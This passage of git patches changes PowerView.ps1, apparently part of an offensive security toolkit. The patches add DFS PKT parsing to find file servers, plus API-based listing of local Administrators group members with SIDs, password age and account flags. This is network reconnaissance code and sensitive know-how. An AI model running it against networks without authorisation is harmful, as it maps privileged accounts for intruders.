($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } + } + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" } else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { + # repull this user object so we can ensure correct information + $LocalUser = $([ADSI] "WinNT://$AdsPath") + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + + $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + + # check if the member is a group + $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { $Member | Add-Member Noteproperty 'LastLogin' "" } + else { + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) } $Member # if the result is a group domain object and we're recursing, - # try to resolve all the group member results + # try to resolve all the group member results if($Recurse -and $IsDomain -and $IsGroup) { $FQDN = $Name.split("/")[0] @@ -6722,7 +6758,7 @@ function Get-NetLocalGroup { Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'Server' "$FQDN/$($_.GroupName)" + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" $MemberDN = $_.distinguishedName # extract the FQDN from the Distinguished Name @@ -6757,10 +6793,14 @@ function Get-NetLocalGroup { $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description $Member | Add-Member Noteproperty 'Disabled' $False $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup $Member | Add-Member Noteproperty 'IsDomain' $True $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl $Member } } @@ -11753,3 +11793,4 @@ $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] $Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] + -- cgit v1.2.3 From 661b11ed3c421f32bec21446a8748aa7fdb8cea7 Mon Sep 17 00:00:00 2001 From: Meatballs Date: Sun, 6 Mar 2016 03:18:43 +0000 Subject: Parse DFSv1 PKT --- Recon/PowerView.ps1 | 204 ++++++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 198 insertions(+), 6 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 8672e76..5823d18 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -5138,13 +5138,13 @@ function Get-DFSshare { .EXAMPLE PS C:\> Get-DFSshare - + Returns all distributed file system shares for the current domain. .EXAMPLE PS C:\> Get-DFSshare -Domain test - + Returns all distributed file system shares for the 'test' domain. #> @@ -5171,6 +5171,185 @@ function Get-DFSshare { $Credential ) + function Parse-Pkt { + [CmdletBinding()] + param( + [byte[]] + $Pkt + ) + + $bin = $Pkt + $blob_version = [bitconverter]::ToUInt32($bin[0..3],0) + $blob_element_count = [bitconverter]::ToUInt32($bin[4..7],0) + #Write-Host "Element Count: " $blob_element_count + $offset = 8 + #https://msdn.microsoft.com/en-us/library/cc227147.aspx + $object_list = @() + for($i=1; $i -le $blob_element_count; $i++){ + $blob_name_size_start = $offset + $blob_name_size_end = $offset + 1 + $blob_name_size = [bitconverter]::ToUInt16($bin[$blob_name_size_start..$blob_name_size_end],0) + #Write-Host "Blob name size: " $blob_name_size + $blob_name_start = $blob_name_size_end + 1 + $blob_name_end = $blob_name_start + $blob_name_size - 1 + $blob_name = [System.Text.Encoding]::Unicode.GetString($bin[$blob_name_start..$blob_name_end]) + #Write-Host "Blob Name: " $blob_name + $blob_data_size_start = $blob_name_end + 1 + $blob_data_size_end = $blob_data_size_start + 3 + $blob_data_size = [bitconverter]::ToUInt32($bin[$blob_data_size_start..$blob_data_size_end],0) + #Write-Host "blob data size: " $blob_data_size + $blob_data_start = $blob_data_size_end + 1 + $blob_data_end = $blob_data_start + $blob_data_size - 1 + $blob_data = $bin[$blob_data_start..$blob_data_end] + switch -wildcard ($blob_name) { + "\siteroot" { } + "\domainroot*" { + # Parse DFSNamespaceRootOrLinkBlob object. Starts with variable length DFSRootOrLinkIDBlob which we parse first... + # DFSRootOrLinkIDBlob + $root_or_link_guid_start = 0 + $root_or_link_guid_end = 15 + $root_or_link_guid = [byte[]]$blob_data[$root_or_link_guid_start..$root_or_link_guid_end] + $guid = New-Object Guid(,$root_or_link_guid) # should match $guid_str + $prefix_size_start = $root_or_link_guid_end + 1 + $prefix_size_end = $prefix_size_start + 1 + $prefix_size = [bitconverter]::ToUInt16($blob_data[$prefix_size_start..$prefix_size_end],0) + $prefix_start = $prefix_size_end + 1 + $prefix_end = $prefix_start + $prefix_size - 1 + $prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$prefix_start..$prefix_end]) + #write-host "Prefix: " $prefix + $short_prefix_size_start = $prefix_end + 1 + $short_prefix_size_end = $short_prefix_size_start + 1 + $short_prefix_size = [bitconverter]::ToUInt16($blob_data[$short_prefix_size_start..$short_prefix_size_end],0) + $short_prefix_start = $short_prefix_size_end + 1 + $short_prefix_end = $short_prefix_start + $short_prefix_size - 1 + $short_prefix = [System.Text.Encoding]::Unicode.GetString($blob_data[$short_prefix_start..$short_prefix_end]) + #write-host "Short Prefix: " $short_prefix + $type_start = $short_prefix_end + 1 + $type_end = $type_start + 3 + $type = [bitconverter]::ToUInt32($blob_data[$type_start..$type_end],0) + #write-host $type + $state_start = $type_end + 1 + $state_end = $state_start + 3 + $state = [bitconverter]::ToUInt32($blob_data[$state_start..$state_end],0) + #write-host $state + $comment_size_start = $state_end + 1 + $comment_size_end = $comment_size_start + 1 + $comment_size = [bitconverter]::ToUInt16($blob_data[$comment_size_start..$comment_size_end],0) + $comment_start = $comment_size_end + 1 + $comment_end = $comment_start + $comment_size - 1 + if ($comment_size -gt 0) { + $comment = [System.Text.Encoding]::Unicode.GetString($blob_data[$comment_start..$comment_end]) + #Write-Host $comment + } + $prefix_timestamp_start = $comment_end + 1 + $prefix_timestamp_end = $prefix_timestamp_start + 7 + # https://msdn.microsoft.com/en-us/library/cc230324.aspx FILETIME + $prefix_timestamp = $blob_data[$prefix_timestamp_start..$prefix_timestamp_end] #dword lowDateTime #dword highdatetime + $state_timestamp_start = $prefix_timestamp_end + 1 + $state_timestamp_end = $state_timestamp_start + 7 + $state_timestamp = $blob_data[$state_timestamp_start..$state_timestamp_end] + $comment_timestamp_start = $state_timestamp_end + 1 + $comment_timestamp_end = $comment_timestamp_start + 7 + $comment_timestamp = $blob_data[$comment_timestamp_start..$comment_timestamp_end] + $version_start = $comment_timestamp_end + 1 + $version_end = $version_start + 3 + $version = [bitconverter]::ToUInt32($blob_data[$version_start..$version_end],0) + + #write-host $version + if ($version -ne 3) + { + #write-host "error" + } + + # Parse rest of DFSNamespaceRootOrLinkBlob here + $dfs_targetlist_blob_size_start = $version_end + 1 + $dfs_targetlist_blob_size_end = $dfs_targetlist_blob_size_start + 3 + $dfs_targetlist_blob_size = [bitconverter]::ToUInt32($blob_data[$dfs_targetlist_blob_size_start..$dfs_targetlist_blob_size_end],0) + #write-host $dfs_targetlist_blob_size + $dfs_targetlist_blob_start = $dfs_targetlist_blob_size_end + 1 + $dfs_targetlist_blob_end = $dfs_targetlist_blob_start + $dfs_targetlist_blob_size - 1 + $dfs_targetlist_blob = $blob_data[$dfs_targetlist_blob_start..$dfs_targetlist_blob_end] + $reserved_blob_size_start = $dfs_targetlist_blob_end + 1 + $reserved_blob_size_end = $reserved_blob_size_start + 3 + $reserved_blob_size = [bitconverter]::ToUInt32($blob_data[$reserved_blob_size_start..$reserved_blob_size_end],0) + #write-host $reserved_blob_size + $reserved_blob_start = $reserved_blob_size_end + 1 + $reserved_blob_end = $reserved_blob_start + $reserved_blob_size - 1 + $reserved_blob = $blob_data[$reserved_blob_start..$reserved_blob_end] + $referral_ttl_start = $reserved_blob_end + 1 + $referral_ttl_end = $referral_ttl_start + 3 + $referral_ttl = [bitconverter]::ToUInt32($blob_data[$referral_ttl_start..$referral_ttl_end],0) + + #Parse DFSTargetListBlob + $target_count_start = 0 + $target_count_end = $target_count_start + 3 + $target_count = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_count_start..$target_count_end],0) + $t_offset = $target_count_end + 1 + #write-host $target_count + + for($j=1; $j -le $target_count; $j++){ + $target_entry_size_start = $t_offset + $target_entry_size_end = $target_entry_size_start + 3 + $target_entry_size = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) + #write-host $target_entry_size + $target_time_stamp_start = $target_entry_size_end + 1 + $target_time_stamp_end = $target_time_stamp_start + 7 + # FILETIME again or special if priority rank and priority class 0 + $target_time_stamp = $dfs_targetlist_blob[$target_time_stamp_start..$target_time_stamp_end] + $target_state_start = $target_time_stamp_end + 1 + $target_state_end = $target_state_start + 3 + $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) + #write-host $target_state + $target_type_start = $target_state_end + 1 + $target_type_end = $target_type_start + 3 + $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) + #write-host $target_type + $server_name_size_start = $target_type_end + 1 + $server_name_size_end = $server_name_size_start + 1 + $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) + #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 + $server_name_end = $server_name_start + $server_name_size - 1 + $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) + #write-host $server_name + $share_name_size_start = $server_name_end + 1 + $share_name_size_end = $share_name_size_start + 1 + $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) + $share_name_start = $share_name_size_end + 1 + $share_name_end = $share_name_start + $share_name_size - 1 + $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) + #write-host $share_name + $target_list += "\\$server_name\$share_name" + $t_offset = $share_name_end + 1 + } + } + } + $offset = $blob_data_end + 1 + $dfs_pkt_properties = @{ + 'Name' = $blob_name + 'Prefix' = $prefix + 'TargetList' = $target_list + } + $object_list += New-Object -TypeName PSObject -Property $dfs_pkt_properties + $prefix = $null + $blob_name = $null + $target_list = $null + } + + $servers = @() + $object_list | ForEach-Object { + #write-host $_.Name; + #write-host $_.TargetList + if ($_.TargetList) { + $_.TargetList | ForEach-Object { + $servers += $_.split("\")[2] + } + } + } + + $servers + } + function Get-DFSshareV1 { [CmdletBinding()] param( @@ -5183,7 +5362,7 @@ function Get-DFSshare { [String] $ADSpath, - [ValidateRange(1,10000)] + [ValidateRange(1,10000)] [Int] $PageSize = 200, @@ -5201,6 +5380,7 @@ function Get-DFSshare { $DFSSearcher.FindAll() | Where-Object {$_} | ForEach-Object { $Properties = $_.Properties $RemoteNames = $Properties.remoteservername + $Pkt = $Properties.pkt $DFSshares += $RemoteNames | ForEach-Object { try { @@ -5213,9 +5393,21 @@ function Get-DFSshare { } } } + + $redirects = Parse-Pkt $pkt[0] + $redirects | ForEach-Object { + # If a folder doesn't have a redirection it will + # have a target like + # \\null\TestNameSpace\folder\.DFSFolderLink so we + # do actually want to match on "null" rather than + # $null + if ($_ -ne "null") { + New-Object -TypeName PSObject -Property @{'Name'=$Properties.name[0];'RemoteServerName'=$_} + } + } } catch { - Write-Warning "Get-DFSshareV2 error : $_" + Write-Warning "Get-DFSshareV1 error : $_" } $DFSshares | Sort-Object -Property "RemoteServerName" } @@ -5276,7 +5468,7 @@ function Get-DFSshare { } $DFSshares = @() - + if ( ($Version -eq "all") -or ($Version.endsWith("1")) ) { $DFSshares += Get-DFSshareV1 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } @@ -5284,7 +5476,7 @@ function Get-DFSshare { $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } - $DFSshares | Sort-Object -Property "RemoteServerName" + $DFSshares | Sort-Object -Property ("RemoteServerName","Name") -Unique } -- cgit v1.2.3 From b4891eb371c83c0eef7cc3d4485b3a7066c9641e Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 7 Mar 2016 02:00:00 -0500 Subject: Added NetLocalGroupGetMembers enumeration method for Get-NetLocalGroup with the -API flag Fixed threading specification in most threaded functions. --- Recon/PowerView.ps1 | 453 ++++++++++++++++++++++++++++++++++------------------ 1 file changed, 302 insertions(+), 151 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index d07edf6..7d6f819 100644 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -6570,6 +6570,11 @@ function Get-NetLocalGroup { Switch. If the local member member is a domain group, recursively try to resolve its members to get a list of domain users who can access this machine. + .PARAMETER API + + Switch. Use API calls instead of the WinNT service provider. Less information, + but the results are faster. + .EXAMPLE PS C:\> Get-NetLocalGroup @@ -6595,42 +6600,52 @@ function Get-NetLocalGroup { Returns all local groups on the WINDOWS7 host. + .EXAMPLE + + PS C:\> "WINDOWS7", "WINDOWSSP" | Get-NetLocalGroup -API + + Returns all local groups on the the passed hosts using API calls instead of the + WinNT service provider. + .LINK http://stackoverflow.com/questions/21288220/get-all-local-members-and-groups-displayed-together http://msdn.microsoft.com/en-us/library/aa772211(VS.85).aspx #> - [CmdletBinding()] + [CmdletBinding(DefaultParameterSetName = 'WinNT')] param( - [Parameter(ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'API', Position=0, ValueFromPipeline=$True)] + [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] $ComputerName = 'localhost', + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] [ValidateScript({Test-Path -Path $_ })] [Alias('HostList')] [String] $ComputerFile, + [Parameter(ParameterSetName = 'WinNT')] + [Parameter(ParameterSetName = 'API')] [String] - $GroupName, + $GroupName = 'Administrators', + [Parameter(ParameterSetName = 'WinNT')] [Switch] $ListGroups, + [Parameter(ParameterSetName = 'WinNT')] [Switch] - $Recurse + $Recurse, + + [Parameter(ParameterSetName = 'API')] + [Switch] + $API ) - begin { - if ((-not $ListGroups) -and (-not $GroupName)) { - # resolve the SID for the local admin group - this should usually default to "Administrators" - $ObjSID = New-Object System.Security.Principal.SecurityIdentifier('S-1-5-32-544') - $Objgroup = $ObjSID.Translate( [System.Security.Principal.NTAccount]) - $GroupName = ($Objgroup.Value).Split('\')[1] - } - } process { $Servers = @() @@ -6647,168 +6662,262 @@ function Get-NetLocalGroup { # query the specified group using the WINNT provider, and # extract fields as appropriate from the results ForEach($Server in $Servers) { - try { - if($ListGroups) { - # if we're listing the group names on a remote server - $Computer = [ADSI]"WinNT://$Server,computer" - - $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { - $Group = New-Object PSObject - $Group | Add-Member Noteproperty 'Server' $Server - $Group | Add-Member Noteproperty 'Group' ($_.name[0]) - $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) - $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) - $Group - } - } - else { - # otherwise we're listing the group members - $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - $Members | ForEach-Object { + if($API) { + # if we're using the Netapi32 NetLocalGroupGetMembers API call to + # get the local group information + + # arguments for NetLocalGroupGetMembers + $QueryLevel = 2 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 + + # get the local user information + $Result = $Netapi32::NetLocalGroupGetMembers($Server, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() + + Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" + $LocalUsers = @() + + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' $Server + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize() - $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 - # try to translate the NT4 domain to a FQDN if possible - $Name = Convert-NT4toCanonical -ObjectName $AdsPath - if($Name) { - $FQDN = $Name.split("/")[0] - $ObjName = $AdsPath.split("/")[-1] - $Name = "$FQDN/$ObjName" - $IsDomain = $True + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) + Write-Debug "Result of ConvertSidToStringSid: $Result" + + if($Result -eq 0) { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx + $Err = $Kernel32::GetLastError() + Write-Error "ConvertSidToStringSid LastError: $Err" } else { - $Name = $AdsPath - $IsDomain = $False - } + $LocalUser = New-Object PSObject + $LocalUser | Add-Member Noteproperty 'ComputerName' $Server + $LocalUser | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname + $LocalUser | Add-Member Noteproperty 'SID' $SidString + $LocalUser | Add-Member Noteproperty 'SidType' $Info.lgrmi2_sidusage - $Member | Add-Member Noteproperty 'AccountName' $Name + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment - if($IsDomain) { - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) + $LocalUsers += $LocalUser + } + } - $Member | Add-Member Noteproperty 'Description' "" - $Member | Add-Member Noteproperty 'Disabled' $False + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) - # check if the member is a group - $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') - $Member | Add-Member Noteproperty 'IsGroup' $IsGroup - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + # try to extract out the machine SID by using the -500 account as a reference + $MachineSid = $LocalUsers | Where-Object {$_.SID -like '*-500'} + $Parts = $MachineSid.SID.Split('-') + $MachineSid = $Parts[0..($Parts.Length -2)] -join '-' - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' $Null - } - } - $Member | Add-Member Noteproperty 'PwdLastSet' "" - $Member | Add-Member Noteproperty 'PwdExpired' "" - $Member | Add-Member Noteproperty 'UserFlags' "" + $LocalUsers | ForEach-Object { + if($_.SID -match $MachineSid) { + $_ | Add-Member Noteproperty 'IsDomain' $False } else { - # repull this user object so we can ensure correct information - $LocalUser = $([ADSI] "WinNT://$AdsPath") + $_ | Add-Member Noteproperty 'IsDomain' $True + } + } + $LocalUsers + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} + } + } + } - # translate the binary sid to a string - $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + else { + # otherwise we're using the WinNT service provider + try { + if($ListGroups) { + # if we're listing the group names on a remote server + $Computer = [ADSI]"WinNT://$Server,computer" + + $Computer.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object { + $Group = New-Object PSObject + $Group | Add-Member Noteproperty 'Server' $Server + $Group | Add-Member Noteproperty 'Group' ($_.name[0]) + $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier $_.objectsid[0],0).Value) + $Group | Add-Member Noteproperty 'Description' ($_.Description[0]) + $Group + } + } + else { + # otherwise we're listing the group members + $Members = @($([ADSI]"WinNT://$Server/$GroupName,group").psbase.Invoke('Members')) - $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + $Members | ForEach-Object { - # UAC flags of 0x2 mean the account is disabled - $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' $Server - # check if the member is a group - $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') - $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + $AdsPath = ($_.GetType().InvokeMember('Adspath', 'GetProperty', $Null, $_, $Null)).Replace('WinNT://', '') - if($IsGroup) { - $Member | Add-Member Noteproperty 'LastLogin' "" + # try to translate the NT4 domain to a FQDN if possible + $Name = Convert-NT4toCanonical -ObjectName $AdsPath + if($Name) { + $FQDN = $Name.split("/")[0] + $ObjName = $AdsPath.split("/")[-1] + $Name = "$FQDN/$ObjName" + $IsDomain = $True } else { - try { - $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) - } - catch { - $Member | Add-Member Noteproperty 'LastLogin' "" - } + $Name = $AdsPath + $IsDomain = $False } - $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) - $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') - $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) - } - $Member - - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results - if($Recurse -and $IsDomain -and $IsGroup) { + $Member | Add-Member Noteproperty 'AccountName' $Name - $FQDN = $Name.split("/")[0] - $GroupName = $Name.split("/")[1].trim() + if($IsDomain) { + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($_.GetType().InvokeMember('ObjectSID', 'GetProperty', $Null, $_, $Null),0)).Value) - Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { - - $Member = New-Object PSObject - $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + $Member | Add-Member Noteproperty 'Description' "" + $Member | Add-Member Noteproperty 'Disabled' $False - $MemberDN = $_.distinguishedName - # extract the FQDN from the Distinguished Name - $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + # check if the member is a group + $IsGroup = ($_.GetType().InvokeMember('Class', 'GetProperty', $Null, $_, $Null) -eq 'group') + $Member | Add-Member Noteproperty 'IsGroup' $IsGroup + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain - if ($_.samAccountType -ne "805306368") { - $MemberIsGroup = $True + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' $Null } else { - $MemberIsGroup = $False + try { + $Member | Add-Member Noteproperty 'LastLogin' ( $_.GetType().InvokeMember('LastLogin', 'GetProperty', $Null, $_, $Null)) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' $Null + } } + $Member | Add-Member Noteproperty 'PwdLastSet' "" + $Member | Add-Member Noteproperty 'PwdExpired' "" + $Member | Add-Member Noteproperty 'UserFlags' "" + } + else { + # repull this user object so we can ensure correct information + $LocalUser = $([ADSI] "WinNT://$AdsPath") + + # translate the binary sid to a string + $Member | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalUser.objectSid.value,0)).Value) + + $Member | Add-Member Noteproperty 'Description' ($LocalUser.Description[0]) + + # UAC flags of 0x2 mean the account is disabled + $Member | Add-Member Noteproperty 'Disabled' $(($LocalUser.userFlags.value -band 2) -eq 2) - if ($_.samAccountName) { - # forest users have the samAccountName set - $MemberName = $_.samAccountName + # check if the member is a group + $Member | Add-Member Noteproperty 'IsGroup' ($LocalUser.SchemaClassName -like 'group') + $Member | Add-Member Noteproperty 'IsDomain' $IsDomain + + if($IsGroup) { + $Member | Add-Member Noteproperty 'LastLogin' "" } else { try { - # external trust users have a SID, so convert it + $Member | Add-Member Noteproperty 'LastLogin' ( $LocalUser.LastLogin[0]) + } + catch { + $Member | Add-Member Noteproperty 'LastLogin' "" + } + } + + $Member | Add-Member Noteproperty 'PwdLastSet' ( (Get-Date).AddSeconds(-$LocalUser.PasswordAge[0])) + $Member | Add-Member Noteproperty 'PwdExpired' ( $LocalUser.PasswordExpired[0] -eq '1') + $Member | Add-Member Noteproperty 'UserFlags' ( $LocalUser.UserFlags[0] ) + } + $Member + + # if the result is a group domain object and we're recursing, + # try to resolve all the group member results + if($Recurse -and $IsDomain -and $IsGroup) { + + $FQDN = $Name.split("/")[0] + $GroupName = $Name.split("/")[1].trim() + + Get-NetGroupMember -GroupName $GroupName -Domain $FQDN -FullData -Recurse | ForEach-Object { + + $Member = New-Object PSObject + $Member | Add-Member Noteproperty 'ComputerName' "$FQDN/$($_.GroupName)" + + $MemberDN = $_.distinguishedName + # extract the FQDN from the Distinguished Name + $MemberDomain = $MemberDN.subString($MemberDN.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + + if ($_.samAccountType -ne "805306368") { + $MemberIsGroup = $True + } + else { + $MemberIsGroup = $False + } + + if ($_.samAccountName) { + # forest users have the samAccountName set + $MemberName = $_.samAccountName + } + else { try { - $MemberName = Convert-SidToName $_.cn + # external trust users have a SID, so convert it + try { + $MemberName = Convert-SidToName $_.cn + } + catch { + # if there's a problem contacting the domain to resolve the SID + $MemberName = $_.cn + } } catch { - # if there's a problem contacting the domain to resolve the SID - $MemberName = $_.cn + Write-Debug "Error resolving SID : $_" } } - catch { - Write-Debug "Error resolving SID : $_" - } - } - $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" - $Member | Add-Member Noteproperty 'SID' $_.objectsid - $Member | Add-Member Noteproperty 'Description' $_.description - $Member | Add-Member Noteproperty 'Disabled' $False - $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup - $Member | Add-Member Noteproperty 'IsDomain' $True - $Member | Add-Member Noteproperty 'LastLogin' '' - $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet - $Member | Add-Member Noteproperty 'PwdExpired' '' - $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl - $Member + $Member | Add-Member Noteproperty 'AccountName' "$MemberDomain/$MemberName" + $Member | Add-Member Noteproperty 'SID' $_.objectsid + $Member | Add-Member Noteproperty 'Description' $_.description + $Member | Add-Member Noteproperty 'Disabled' $False + $Member | Add-Member Noteproperty 'IsGroup' $MemberIsGroup + $Member | Add-Member Noteproperty 'IsDomain' $True + $Member | Add-Member Noteproperty 'LastLogin' '' + $Member | Add-Member Noteproperty 'PwdLastSet' $_.pwdLastSet + $Member | Add-Member Noteproperty 'PwdExpired' '' + $Member | Add-Member Noteproperty 'UserFlags' $_.userAccountControl + $Member + } } } } } - } - catch { - Write-Warning "[!] Error: $_" + catch { + Write-Warning "[!] Error: $_" + } } } } @@ -7288,7 +7397,7 @@ filter Get-NetRDPSession { # otherwise it failed - get the last error # error codes - 